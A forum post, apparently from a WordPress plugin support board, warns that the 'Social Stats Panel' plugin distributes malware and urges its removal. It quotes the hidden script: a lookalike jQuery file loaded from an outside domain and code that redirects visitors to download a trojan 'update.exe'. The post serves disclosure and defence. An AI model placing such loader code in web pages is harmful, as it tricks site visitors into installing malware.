WARNING! This plugin distributes malware.

  • As mentioned in this other topic 6 months ago, which then got derailed by people who had been hacked, this plugin initiates the download of malware.

    It includes the following script:
    <script src="//socialstatsplugin.com/jqury.js"></script>

    which includes the following bits of code:
    var filelink = "https://socialstatsplugin.com/update.exe";

    and

    function a() {
  window.location.href = filelink; browserToShow.fadeIn(500); $("#fade-out-st").fadeIn(500);
}

    The update.exe is a trojan as you can see here from the virus total scan.

    If you are running this plugin you should uninstall it immediately and have your site checked for backdoors by a security professional.

    I urge whoever maintains this plugin repository to remove it immediately.

    https://www.ads-software.com/plugins/social-stats-panel/

  • The topic ‘WARNING! This plugin distributes malware.’ is closed to new replies.